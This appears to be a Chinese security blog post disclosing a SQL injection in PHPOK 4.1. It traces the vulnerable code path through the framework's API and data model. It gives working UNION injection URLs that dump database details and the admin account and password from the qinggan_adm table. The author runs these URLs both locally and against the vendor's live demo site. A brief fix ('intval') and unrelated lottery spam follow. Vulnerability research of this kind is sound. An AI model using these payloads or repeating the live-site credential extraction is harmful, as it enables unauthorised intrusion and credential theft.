?

Aug 16 2016

PHPOK最新版前臺SQL注入漏洞(可直接獲取管理員密碼)

首頁 » 漏洞收集 » PHPOK最新版前臺SQL注入漏洞(可直接獲取管理員密碼)   

PHPOK最新版前臺某功能存在SQL注入漏洞,可直接UNION注入獲取管理員密碼

PHPOK4.1最新版(2014-08-18更新)

官網:http://www.phpok.com/phpok.html

官網演示站點:http://demo.phpok.com


這里先整理下PHPOK系統的前臺數據處理流程:
/framework/api/api_control.php  =>  /framework/phpok_call.php  =>  /framework/model/data.php



PHPOK系統在前臺獲取“文章總數”的功能實現上存在SQL注入漏洞。

漏洞文件:處理數據的data_model類/framework/model/data.php

漏洞函數:獲取“文章總數”的total($rs)函數

這個漏洞應該和 WooYun: PHPOK SQL注射漏洞(官網) 算是同一文件不同的函數存在注入漏洞,不知道這種情況算不算新漏洞


漏洞代碼:/framework/model/data.php文件第288行開始
//取得文章總數
public function total($rs)
{
if(!$rs['pid'] && !$rs['phpok']) return false;
if(!$rs['pid'])
{
$tmp = $this->_id($rs['phpok'],$this->site['id']);
if(!$tmp || $tmp['type'] != 'project') return false;
$rs['pid'] = $tmp['id'];
}

if(!$rs['pid']) return false;
//取得項目信息
$project_rs = $this->_project($rs['pid'],false);

//判斷是否有綁定模塊,沒有綁定模塊,跳過
if(!$project_rs['module']) return false;
$sql = "SELECT count(l.id) FROM ".$this->db->prefix."list l ";
$sql.= "JOIN ".$this->db->prefix."list_".$project_rs['module']." ext ON(l.id=ext.id AND l.site_id=ext.site_id) ";
$sql.= "WHERE l.project_id=".$rs['pid']." AND l.site_id=".$this->site['id']." ";
$sql.= " AND l.hidden=0 ";
if(!$rs['not_status']) $sql .= " AND l.status=1 ";
。。。。。。。。。
//綁定某個會員
if($rs['user_id'])
{
$sql.= "AND l.user_id IN(".$rs['user_id'].") ";

}
if($rs['attr'])
{
$sql.= "AND l.attr LIKE '%".$rs['attr']."%' ";
}

在332行處存在“綁定會員”的操作,具體的代碼為$sql.= "AND l.user_id IN(".$rs['user_id'].") ";,可以看到$rs['user_id']直接帶入數據庫進行連接查詢。
而$rs['user_id']是從total函數的唯一參數$rs中獲取的,因此需要進行數據來源的回溯定位。
/framework/phpok_call.php代碼是前臺數據流的調用中心類,說白了就相當于一個數據中轉器的作用,我們來分析下phpok_call.php的代碼實現。

phpok_call.php文件第20行處提供了phpok($id,$rs="")的函數,具體功能是對前臺發送來的數據進行調用處理,其中$id代表操作類型,$rs表示所需要的參數。
代碼實現如下:
//執行數據調用
function phpok($id,$rs="")
{
if(!$id) return false;
$cacheId = '';
$content = '';
if($rs && is_string($rs)) parse_str($rs,$rs);
//判斷是否啟用緩存,啟用后直讀緩存信息
if($GLOBALS['app']->cache->status())
{
$cacheId = $GLOBALS['app']->cache->key(array('id'=>$id,'rs'=>$rs),$this->site['id'],"call");
$content = $GLOBALS['app']->cache->read($cacheId);
}
if($content) return $content;
//判斷是內置參數還是調用數據中心的數據
if(substr($id,0,1) != '_')
{
$call_rs = $GLOBALS['app']->model('call')->get_rs($id,$this->site['id']);
if(!$call_rs) return false;
if($call_rs['ext'])
{
$call_rs_ext = unserialize($call_rs['ext']);
unset($call_rs['ext'],$call_rs['id']);
if($call_rs_ext) $call_rs = array_merge($call_rs_ext,$call_rs);
}
if($rs && is_array($rs)) $call_rs = array_merge($call_rs,$rs);
}
else
{
$list = array('arclist','arc','cate','catelist','project','sublist','parent','plist','fields','user','userlist','total','cate_id','subcate');
$id = substr($id,1);
… …
if(!$id || !in_array($id,$list)) return false;
$call_rs = array_merge($rs,array('type_id'=>$id));
}
$content = $this->load_call($call_rs);  //調用load_call函數


phpok($id,$rs="")函數可以總結為以下2行核心代碼:
$call_rs = array_merge($rs,array('type_id'=>$id));
$content = $this->load_call($call_rs);
就是將phpok的兩個參數$id,$rs=""合并為一個數組,在傳入load_call函數執行

進一步跟蹤load_call函數:
在79行處:
function load_call($rs)
{
$content = "";
$tmp = '_'.$rs['type_id'];
if(in_array($tmp,$this->mlist))
{
$content = $this->$tmp($rs);
}
return $content;
}
load_call最后會執行$this->$tmp($rs);操作,$tmp 是將操作類型$id加上字符’_’,$rs就是該操作所需要的參數。
之前分析過由于data_model類的total函數出現注入,因此phpok_call類中可以通過調用_total($rs)來調用data_model->total($rs)
在第96行代碼處有:
function _total($rs)
{
return $GLOBALS['app']->model('data')->total($rs);
}

現在需要分析下$rs這個參數是如何從前臺傳到phpok_call類中。
phpok系統通過/framework/api/api_control.php來處理前臺數據,這里就來重點分析下api_control控制類的實現:
api_control控制類的代碼很簡單,有一個核心函數phpok_f(),位于第39行處:
function phpok_f()
{
$id = $this->get('id');
if(!$id) $this->json('未指定數據調用中心ID');
$param = $this->get('param');
if($param)
{
$intval = array('pid','cateid');
foreach($param as $key=>$value)
{
if(in_array($key,$intval))
{
$param[$key] = intval($value);
}
else
{
$param[$key] = str_replace(array('union','select','update','delete','insert','*','where','from'),"",$value);
}
}
}
$list = $this->call->phpok($id,$param);
if(!$list) $this->json('ok',true,true,false);
$tpl = $this->get("tpl");
if($tpl && $this->tpl->check_exists($tpl))
{
$this->assign("rslist",$list);
$info = $this->fetch($tpl);
$this->json($info,true,true,false);
}
$this->json($list,true);
}
}
phpok_f()從前臺獲取參數$id = $this->get('id');和參數$param = $this->get('param');,最后會調用$list = $this->call->phpok($id,$param);即調用phpok_call類的phpok,其中$param就是前面分析的操作參數$rs,是個數組。

 


最后的數據調用流程如下:
api_control->phpok_f($id='total', $param) => phpok_call->phpok('total' , $rs = $param) =>  phpok_call->load_call(array($param,'total')) => phpok_call->_total($param) =>  data_model->total($param)

 

1)本地測試


http://127.0.0.1/phpok4.1-0818/api.php?c=api&f=phpok&id=_total&param[pid]=42&param[user_id]=0)UNION+SELECT+concat(user(),0x5e,version())LIMIT+1,1%23

 

1.png

 


http://127.0.0.1/phpok4.1-0818/api.php?c=api&f=phpok&id=_total&param[pid]=42&param[user_id]=0)UNION+SELECT+(SELECT+CONCAT(account,0x5e,pass)+FROM+qinggan_adm+LIMIT+1)LIMIT+1,1%23

 

2.png

2)官方演示站點測試


http://demo.phpok.com/api.php?c=api&f=phpok&id=_total&param[pid]=42&param[user_id]=0)UNION+SELECT+concat(user(),0x5e,version())LIMIT+1,1%23

 

3.png

獲取管理員用戶密碼:


http://demo.phpok.com/api.php?c=api&f=phpok&id=_total&param[pid]=42&param[user_id]=0)UNION+SELECT+(SELECT+CONCAT(account,0x5e,pass)+FROM+qinggan_adm+LIMIT+1)LIMIT+1,1%23

 

4.png


 

修復方案:

intval處理下

 

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «phpok4.2.024一處盲注+后臺getshell | cmseasy前臺無需登錄直接獲取敏感數據的SQL注入(有POC證明)»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖